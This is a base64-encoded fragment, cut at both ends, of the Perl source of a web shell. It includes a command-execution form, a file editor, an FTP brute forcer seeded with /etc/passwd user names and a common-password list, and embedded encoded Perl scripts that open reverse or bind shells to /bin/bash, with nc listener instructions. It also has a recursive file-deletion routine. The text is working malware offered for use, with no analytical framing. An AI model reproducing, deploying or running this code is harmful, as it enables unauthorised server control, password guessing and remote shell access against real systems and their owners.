cgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNzOjxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dvcmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcKNjc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91CjwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoJHVzZXJuYW1lIG5lICIiKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjEyIiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9InZpbmFraWQiPjwvdGQ+Cgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLgoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgU29ja2V0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsKCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsKCWlmKCRDbGllbnRQb3J0IGVxIDApCgl7CgkJcmV0dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsKCQlpZigtdyAiL3RtcC8iKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfWVsc2UKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7CgkJaWYoLXcgIi90bXAiKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm1EaXIoJCkgCnsKCW15ICRkaXIgPSBzaGlmdDsKCWlmKG9wZW5kaXIoRElSLCRkaXIpKQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCXsKCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQoJCQl7CgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsKCQkJCWlmKC1kICRmaWxlKQoJCQkJewoJCQkJCSZSbURpcigkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdW5saW5rKCRmaWxlKTsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcihESVIpOwoJfQp9CnN1YiBGaWxlT3duZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaW5OVCkKCQl7CgkJCXJldHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7CgkJCSRncm91cD1nZXRncmdpZCgkZ2lkKTsKCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7CgkJfQoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBQYXJlbnRGb2xkZXIoJCkKewoJbXkgJHBhdGggPSBzaGlmdDsKCW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4iLiRDbWRTZXAuJENtZFB3ZDsKCWNob3AoJHBhdGggPSBgJENvbW1gKTsKCXJldHVybiAkcGF0aDsKfQpzdWIgRmlsZVBlcm1zKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkdXIgPSAiLSI7CglteSAkdXcgPSAiLSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkV2luTlQpCgkJewoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQoJCQlyZXR1cm4gJHVyIC4gIiAvICIgLiAkdXc7CgkJfWVsc2UKCQl7CgkJCSRtb2RlPShzdGF0KCRmaWxlKSlbMl07CgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7CgkJCXJldHVybiAkcmVzdWx0OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVs5XTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOwoJCSR5ID0gJHkgKyAxOTAwOwoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEwIDExIDEyLzsKCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkI